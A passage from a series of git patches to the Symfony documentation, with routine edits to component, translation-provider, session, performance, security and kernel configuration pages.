 For instance, in the previous example, the component looks for the ``addChild()``
 and ``removeChild()`` methods to access to the ``children`` property.
-`The Inflector component`_ is used to find the singular of a property name.
+`The String component`_ inflector is used to find the singular of a property name.
 
 If available, *adder* and *remover* methods have priority over a *setter* method.
 
@@ -538,4 +538,4 @@ Or you can pass parameters directly to the constructor (not the recommended way)
     // enable handling of magic __call, __set but not __get:
     $propertyAccessor = new PropertyAccessor(PropertyAccessor::MAGIC_CALL | PropertyAccessor::MAGIC_SET);
 
-.. _The Inflector component: https://github.com/symfony/inflector
+.. _`The String component`: https://github.com/symfony/string

From 5ca0b2497da5a892a7fe9e5e549017f20f611f59 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sat, 29 May 2021 17:34:19 +0200
Subject: [PATCH 2246/7107] [Process] Remove paragraph from bad merge

---
 components/process.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index b0c5bc4c5b6..1182b1c32a1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -418,22 +418,6 @@ instead::
     );
     $process->run();
 
-Using a Prepared Command Line
------------------------------
-
-You can run a process by using a prepared command line with double quote
-variable notation. This allows you to use placeholders so that only the
-parameterized values can be changed, but not the rest of the script::
-
-    use Symfony\Component\Process\Process;
-
-    $process = Process::fromShellCommandline('echo "$name"');
-    $process->run(null, ['name' => 'Elsa']);
-
-.. caution::
-
-    A prepared command line will not be escaped automatically!
-
 Process Timeout
 ---------------
 

From a2635f3aab803456d2dabac4cb4424d5da022cc8 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Sat, 29 May 2021 14:58:46 +0200
Subject: [PATCH 2247/7107] [Translation] Improve Translation Providers docs

---
 translation.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/translation.rst b/translation.rst
index 7ac8f6d05a7..a1cf7d2645e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -713,6 +713,18 @@ configure the ``providers`` option:
             ],
         ]);
 
+.. tip::
+
+    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g., "en" or "fr"),
+    you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
+    in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
+    in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+
+.. tip::
+
+    If you use PoEditor as provider, you have to define a `Default Reference Language`_ in your project,
+    otherwise your translations could not be correctly exported.
+
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -879,3 +891,5 @@ Learn more
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
+.. _`Default Reference Language`: https://poeditor.com/kb/setting-a-default-reference-language
+.. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes

From ebb40537d46095b058c75bef5fb8fc7158e1c2d4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 29 May 2021 21:38:28 +0200
Subject: [PATCH 2248/7107] Minor rewording

Main reason was to mention `php.ini` earlier.
---
 .../http_foundation/session_configuration.rst     | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index fdaa7ba7eda..41aacae0e46 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -154,17 +154,16 @@ Configuring Garbage Collection
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When a session opens, PHP will call the ``gc`` handler randomly according to the
-probability set by ``session.gc_probability`` / ``session.gc_divisor``. For
-example if these were set to ``5/100`` respectively, it would mean a probability
-of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%.
+probability set by ``session.gc_probability`` / ``session.gc_divisor`` in ``php.ini``.
+For example if these were set to ``5/100``, it would mean a probability of 5%.
 
-If the garbage collection handler is invoked, PHP will pass the value stored in
-the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is
-that any stored session that was saved more than ``gc_maxlifetime`` ago should be
-deleted. This allows one to expire records based on idle time.
+If the garbage collection handler is invoked, PHP will pass the value of
+``session.gc_maxlifetime``, meaning that any stored session that was saved more
+than ``gc_maxlifetime`` seconds ago should be deleted. This allows to expire records
+based on idle time.
 
 However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
+the ``session.gc_probability`` directive to ``0`` to stop PHP doing garbage
 collection. That's why Symfony now overwrites this value to ``1``.
 
 If you wish to use the original value set in your ``php.ini``, add the following

From 181684a7f06689f396ea4571b36474c023689e44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 29 May 2021 23:05:02 +0200
Subject: [PATCH 2249/7107] Adding FQCN

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f347ead42e..4cd6f938166 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1383,7 +1383,7 @@ The possible values for this option are:
 
 * ``null``, use it to disable this protection. Same behavior as in older Symfony
   versions.
-* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow
+* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
   sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)

From 32efa2d7abf8f6ea624e3627a198dd7122ee29b1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 30 May 2021 00:34:30 +0200
Subject: [PATCH 2250/7107] Minor rewording

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 8bf72d00768..b9ddfd2e9fd 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -5,7 +5,7 @@ Store Sessions in a Database
 ============================
 
 Symfony stores sessions in files by default. If your application is served by
-multiple servers, you'll need to use instead a database to make sessions work
+multiple servers, you'll need to use a database instead to make sessions work
 across different servers.
 
 Symfony can store sessions in all kinds of databases (relational, NoSQL and

From f16dac027e880e0c4ec4de4a26de6778c281761f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 30 May 2021 01:55:39 +0200
Subject: [PATCH 2251/7107] Fixing code sample

This is now the usual way to do it, right? https://symfony.com/doc/current/configuration.html#configuration-parameters

In any case, `->setParameter()` results in:
> Call to undefined method "Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator::setParameter()".
---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 80e36849cc9..057970383c3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -80,7 +80,7 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->setParameter('container.dumper.inline_factories', true);
+        $container->parameters()->set('container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 

From 37c7c4b534ef35d02206024c09e375e8e016da6d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 30 May 2021 12:05:19 +0200
Subject: [PATCH 2252/7107] Adding opcache.preload_user

Without this, I can't restart PHP 8 and the service status shows this error:

> Fatal Error "opcache.preload_user" has not been defined

Passing `www-data` is the best guess here, right?
---
 performance.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/performance.rst b/performance.rst
index 80e36849cc9..709d938d276 100644
--- a/performance.rst
+++ b/performance.rst
@@ -115,6 +115,9 @@ You can configure PHP to use this preload file:
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
+    
+    ; required for opcache.preload:
+    opcache.preload_user=www-data
 
 .. _performance-configure-opcache:
 

From 3a3565834c25ca92b9518f4c43702fc9c04886d3 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Sun, 30 May 2021 00:36:03 +0200
Subject: [PATCH 2253/7107] Remove PoEditor Provider

---
 translation.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/translation.rst b/translation.rst
index a1cf7d2645e..a612c218454 100644
--- a/translation.rst
+++ b/translation.rst
@@ -606,7 +606,7 @@ them the new contents to translate frequently and merge the results back in the
 application.
 
 Instead of doing this manually, Symfony provides integration with several
-third-party translation services (e.g. Crowdin or PoEditor). You can upload and
+third-party translation services (e.g. Crowdin or Lokalise). You can upload and
 download (called "push" and "pull") translations to/from these services and
 merge the results automatically in the application.
 
@@ -622,7 +622,6 @@ Provider              Install with
 Crowdin               ``composer require symfony/crowdin-translation-provider``
 Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
 Lokalise              ``composer require symfony/lokalise-translation-provider``
-PoEditor              ``composer require symfony/po-editor-translation-provider``
 ====================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
@@ -654,7 +653,6 @@ Provider               DSN
 Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
 Loco (localise.biz)    loco://API_KEY@default
 Lokalise               lokalise://PROJECT_ID:API_KEY@default
-PoEditor               poeditor://PROJECT_ID:API_KEY@default
 =====================  ==========================================================
 
 To enable a translation provider, add the correct DSN in your ``.env`` file and
@@ -720,11 +718,6 @@ configure the ``providers`` option:
     in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
     in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
 
-.. tip::
-
-    If you use PoEditor as provider, you have to define a `Default Reference Language`_ in your project,
-    otherwise your translations could not be correctly exported.
-
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -891,5 +884,4 @@ Learn more
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
-.. _`Default Reference Language`: https://poeditor.com/kb/setting-a-default-reference-language
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes

From 6aea5cce39c38ca0946c845ff7a1af70c8aba9c7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 28 May 2021 16:19:04 +0200
Subject: [PATCH 2254/7107] [Validator] Use more realistic example

---
 reference/constraints/Compound.rst | 46 +++++++++++++++---------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 95d9ba10789..787889250ce 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -26,7 +26,7 @@ you can create your own named set or requirements to be reused consistently ever
 .. configuration-block::
 
     .. code-block:: php-annotations
-    
+
         // src/Validator/Constraints/PasswordRequirements.php
         namespace App\Validator\Constraints;
 
@@ -69,7 +69,7 @@ you can create your own named set or requirements to be reused consistently ever
                     new Assert\NotCompromisedPassword(),
                 ];
             }
-        }  
+        }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes. If the constraint has
@@ -87,38 +87,38 @@ You can now use it anywhere you need it:
 
     .. code-block:: php-annotations
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
 
-        class RegisterUser
+        class User
         {
             /**
-             * @AcmeAssert\PasswordRequirements()
+             * @Assert\PasswordRequirements()
              */
-            public $password;
+            public $plainPassword;
         }
 
     .. code-block:: php-attributes
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
 
-        class RegisterUser
+        class User
         {
-            #[AcmeAssert\PasswordRequirements]
-            public $password;
+            #[Assert\PasswordRequirements]
+            public $plainPassword;
         }
 
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\User\RegisterUser:
+        App\Entity\User:
             properties:
-                password:
+                plainPassword:
                     - App\Validator\Constraints\PasswordRequirements: ~
 
     .. code-block:: xml
@@ -129,8 +129,8 @@ You can now use it anywhere you need it:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\User\RegisterUser">
-                <property name="password">
+            <class name="App\Entity\User">
+                <property name="plainPassword">
                     <constraint name="App\Validator\Constraints\PasswordRequirements"/>
                 </property>
             </class>
@@ -138,17 +138,17 @@ You can now use it anywhere you need it:
 
     .. code-block:: php
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class RegisterUser
+        class User
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('password', new AcmeAssert\PasswordRequirements());
+                $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements());
             }
         }
 

From b295eeb4c0d0c386fa8604a70a4ebf2da01c9798 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 31 May 2021 19:14:13 +0200
Subject: [PATCH 2255/7107] Use BaseKernel class alias

This PR fixes a namespace conflict.
---
 configuration/override_dir_structure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 050b5d58653..70c3b5b5d28 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -80,7 +80,7 @@ method::
     // src/Kernel.php
 
     // ...
-    class Kernel extends Kernel
+    class Kernel extends BaseKernel
     {
         // ...
 

From 6dc8933fdf74a7b3db287ad2ed1fbf6943eee46f Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 31 May 2021 22:49:59 +0200
Subject: [PATCH 2256/7107] Typo with backslashes

Added backslahes in SiteUpdateManager path.
---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 26822ceb57b..5aa5573c1b5 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -403,7 +403,7 @@ example, suppose you want to make the admin email configurable:
 
 If you make this change and refresh, you'll see an error:
 
-    Cannot autowire service "App\Service\SiteUpdateManager": argument "$adminEmail"
+    Cannot autowire service "App\\Service\\SiteUpdateManager": argument "$adminEmail"
     of method "__construct()" must have a type-hint or be given a value explicitly.
 
 That makes sense! There is no way that the container knows what value you want to

From 9f00cd8db21049e016740f773a4ecbaca40323c9 Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Tue, 1 Jun 2021 19:36:31 +0200
Subject: [PATCH 2257/7107] Update mime.rst

Hello,

Update code sample for MimeTypes : current reassign variable so code fails to run if you copy paste it fully.
---
 components/mime.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/mime.rst b/components/mime.rst
index 95206fa22e3..9f6b0aaec92 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -242,10 +242,10 @@ MIME types and file name extensions::
     $exts = $mimeTypes->getExtensions('image/jpeg');
     // $exts = ['jpeg', 'jpg', 'jpe']
 
-    $mimeTypes = $mimeTypes->getMimeTypes('js');
-    // $mimeTypes = ['application/javascript', 'application/x-javascript', 'text/javascript']
-    $mimeTypes = $mimeTypes->getMimeTypes('apk');
-    // $mimeTypes = ['application/vnd.android.package-archive']
+    $types = $mimeTypes->getMimeTypes('js');
+    // $types = ['application/javascript', 'application/x-javascript', 'text/javascript']
+    $types = $mimeTypes->getMimeTypes('apk');
+    // $types = ['application/vnd.android.package-archive']
 
 These methods return arrays with one or more elements. The element position
 indicates its priority, so the first returned extension is the preferred one.

From 0c245c37f5448075065904e0f388577a27fede9d Mon Sep 17 00:00:00 2001
From: Arne <1255879+arneee@users.noreply.github.com>
Date: Wed, 2 Jun 2021 10:15:06 +0200
Subject: [PATCH 2258/7107] Remove easy-deploy-bundle

---
 deployment.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index a0f85444b6d..c77798b0c30 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -80,9 +80,6 @@ Using Build Scripts and other Tools
 There are also tools to help ease the pain of deployment. Some of them have been
 specifically tailored to the requirements of Symfony.
 
-`EasyDeployBundle`_
-    A Symfony bundle that adds deploy tools to your application.
-
 `Deployer`_
     This is another native PHP rewrite of Capistrano, with some ready recipes for
     Symfony.
@@ -279,7 +276,6 @@ Learn More
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
 .. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
-.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony

From b0d93f3c02f09e60ab3093dd66515957cfa45b99 Mon Sep 17 00:00:00 2001
From: BrnvrlUoeey <66878250+BrnvrlUoeey@users.noreply.github.com>
Date: Tue, 1 Jun 2021 18:59:07 +0200
Subject: [PATCH 2259/7107] Complete App\Handler\HandlerCollection namespace

Convert App\HandlerCollection to App\Handler\HandlerCollection in code snippet in accordance with text description above.
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 89d47104900..a0316738d8e 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -494,7 +494,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
                 tags:
                     - { name: 'app.handler', key: 'handler_two' }
 
-            App\HandlerCollection:
+            App\Handler\HandlerCollection:
                 # inject all services tagged with app.handler as first argument
                 arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key' }]
 

From 2c2572321911108930678433225403ebf7e2c667 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 3 Jun 2021 14:52:56 +0200
Subject: [PATCH 2260/7107] Update documentation for stable authenticator
 security

---
 _build/redirection_map                                      | 1 +
 event_dispatcher.rst                                        | 2 +-
 security.rst                                                | 6 +++---
 ...imental_authenticators.rst => authenticator_manager.rst} | 4 +---
 security/guard_authentication.rst                           | 2 +-
 5 files changed, 7 insertions(+), 8 deletions(-)
 rename security/{experimental_authenticators.rst => authenticator_manager.rst} (99%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 1069505a81a..9f9a4fd54f7 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -515,3 +515,4 @@
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /security/named_encoders /security/named_hashers
+/security/experimental_authenticators /security/authenticator_manager
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index be7fe590e79..794a09bb83b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -335,7 +335,7 @@ or can get everything which partial matches the event name:
 
     The ability to match partial event names was introduced in Symfony 5.3.
 
-The :doc:`new experimental Security </security/experimental_authenticators>`
+The :doc:`new authenticator-based Security </security/authenticator_manager>`
 system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
 get the registered listeners for a particular event dispatcher:
 
diff --git a/security.rst b/security.rst
index 466dfa7aacd..a12c4ad86e0 100644
--- a/security.rst
+++ b/security.rst
@@ -40,7 +40,7 @@ install the security feature before using it:
 
 .. tip::
 
-    A :doc:`new experimental Security </security/experimental_authenticators>`
+    A :doc:`new authenticator-based Security </security/authenticator_manager>`
     was introduced in Symfony 5.1, which will eventually replace security in
     Symfony 6.0. This system is almost fully backwards compatible with the
     current Symfony security, add this line to your security configuration to start
@@ -478,7 +478,7 @@ Limiting Login Attempts
     Login throttling was introduced in Symfony 5.2.
 
 Symfony provides basic protection against `brute force login attacks`_ if
-you're using the :doc:`experimental authenticators </security/experimental_authenticators>`.
+you're using the :doc:`authenticator-based authenticators </security/authenticator_manager>`.
 You must enable this using the ``login_throttling`` setting:
 
 .. configuration-block::
@@ -1501,7 +1501,7 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
-    security/experimental_authenticators
+    security/authenticator_manager
     security/form_login_setup
     security/reset_password
     security/json_login_setup
diff --git a/security/experimental_authenticators.rst b/security/authenticator_manager.rst
similarity index 99%
rename from security/experimental_authenticators.rst
rename to security/authenticator_manager.rst
index 10788ecd88e..58b1a2baf5d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/authenticator_manager.rst
@@ -3,9 +3,7 @@ Using the new Authenticator-based Security
 
 .. versionadded:: 5.1
 
-    Authenticator-based security was introduced as an
-    :doc:`experimental feature </contributing/code/experimental>` in
-    Symfony 5.1.
+    Authenticator-based security was introduced in Symfony 5.1.
 
 In Symfony 5.1, a new authentication system was introduced. This system
 changes the internals of Symfony Security, to make it more extensible
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index a945cfb89e6..67934f61592 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -16,7 +16,7 @@ system, so we can learn more about Guard in detail.
 
 .. tip::
 
-    A :doc:`new experimental authenticator-based system </security/experimental_authenticators>`
+    A :doc:`new authenticator-based system </security/authenticator_manager>`
     was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
 
 Step 1) Prepare your User Class

From 4fd0bce4bc59e46c7eaf411adb69cf62f396ff1e Mon Sep 17 00:00:00 2001
From: Julien Bonnier <j.bonnier@gmail.com>
Date: Thu, 3 Jun 2021 16:09:01 -0400
Subject: [PATCH 2261/7107] Adding missing ntlm authentication mode to
 SwiftmailerBundle configuration

---
 reference/configuration/swiftmailer.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 674cee6ae53..3c04762274e 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -152,7 +152,11 @@ auth_mode
 **type**: ``string``
 
 The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, or ``null``.
+values are ``plain``, ``login``, ``cram-md5``,, ``ntlm`` or ``null``.
+
+.. versionadded:: 3.0.4
+
+    The ``ntlm`` authentication mode was introduced in SwiftMailerBundle 3.0.4.
 
 spool
 ~~~~~

From a4724b615c56afc3e179d3a747386394a570caeb Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Fri, 4 Jun 2021 12:34:15 +0300
Subject: [PATCH 2262/7107] Update multiple_kernels.rst

---
 configuration/multiple_kernels.rst | 38 ++++++++++++++----------------
 1 file changed, 18 insertions(+), 20 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a0069b9be4b..bed2b75a60c 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -82,9 +82,10 @@ Kernel. Be sure to also change the location of the cache, logs and configuration
 files so they don't collide with the files from ``src/Kernel.php``::
 
     // src/ApiKernel.php
-    use Symfony\Component\Config\Loader\LoaderInterface;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class ApiKernel extends Kernel
     {
@@ -101,14 +102,9 @@ files so they don't collide with the files from ``src/Kernel.php``::
             }
         }
 
-        public function getProjectDir(): string
-        {
-            return \dirname(__DIR__);
-        }
-
         public function getCacheDir(): string
         {
-            return $this->getProjectDir().'/var/cache/api/'.$this->getEnvironment();
+            return $this->getProjectDir().'/var/cache/api/'.$this->environment;
         }
 
         public function getLogDir(): string
@@ -116,21 +112,23 @@ files so they don't collide with the files from ``src/Kernel.php``::
             return $this->getProjectDir().'/var/log/api';
         }
 
-        public function configureContainer(ContainerBuilder $container, LoaderInterface $loader)
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $container->addResource(new FileResource($this->getProjectDir().'/config/api_bundles.php'));
-            $container->setParameter('container.dumper.inline_factories', true);
-            $confDir = $this->getProjectDir().'/config/api';
-
-            $loader->load($confDir.'/{packages}/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{packages}/'.$this->environment.'/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}_'.$this->environment.self::CONFIG_EXTS, 'glob');
+            $container->import('../config/api/{packages}/*.yaml');
+            $container->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
+
+            if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
+                $container->import('../config/api/services.yaml');
+                $container->import('../config/api/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import('../config/api/{services}.php');
+            }
         }
 
-        protected function configureRoutes(RouteCollectionBuilder $routes): void
+        protected function configureRoutes(RoutingConfigurator $routes): void
         {
-            $confDir = $this->getProjectDir().'/config/api';
+            $routes->import('../config/api/{routes}/'.$this->environment.'/*.yaml');
+            $routes->import('../config/api/{routes}/*.yaml');
             // ... load only the config routes strictly needed for the API
         }
     }

From e4e7f1dff3d20fe401ceae72b9e019001027066d Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Fri, 4 Jun 2021 13:56:41 +0300
Subject: [PATCH 2263/7107] Update front_controllers_and_kernel.rst

---
 configuration/front_controllers_and_kernel.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..45f60811f37 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -248,13 +248,12 @@ includes the following:
     The cached "service container" that represents the cached application
     configuration.
 
-``UrlGenerator.php``
-    The PHP class generated from the routing configuration and used when
-    generating URLs.
+``url_generating_routes.php``
+    The cached routing configuration that used when generating URLs.
 
-``UrlMatcher.php``
-    The PHP class used for route matching - look here to see the compiled regular
-    expression logic used to match incoming URLs to different routes.
+``url_matching_routes.php``
+    The cached configuration used for route matching - look here to see the compiled
+    regular expression logic used to match incoming URLs to different routes.
 
 ``twig/``
     This directory contains all the cached Twig templates.

From d344fde973c3d03cfb110f798d059156e64e264d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Jun 2021 13:43:47 +0200
Subject: [PATCH 2264/7107] Minor tweak

---
 reference/configuration/swiftmailer.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 3c04762274e..a83e86aa651 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -152,11 +152,7 @@ auth_mode
 **type**: ``string``
 
 The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``,, ``ntlm`` or ``null``.
-
-.. versionadded:: 3.0.4
-
-    The ``ntlm`` authentication mode was introduced in SwiftMailerBundle 3.0.4.
+values are ``plain``, ``login``, ``cram-md5``, ``ntlm`` or ``null``.
 
 spool
 ~~~~~

From a0df26b07a0e60cdb8367afeab8cafa2cf5f80d8 Mon Sep 17 00:00:00 2001
From: Ezequiel Esnaola <ezequiel.esnaola@mercadolibre.com>
Date: Sat, 5 Jun 2021 02:30:13 -0300
Subject: [PATCH 2265/7107] Update chatters.rst

---
 notifier/chatters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 237581556ec..a20dfd6b047 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -59,7 +59,7 @@ to add some interactive options called `Block elements`_::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
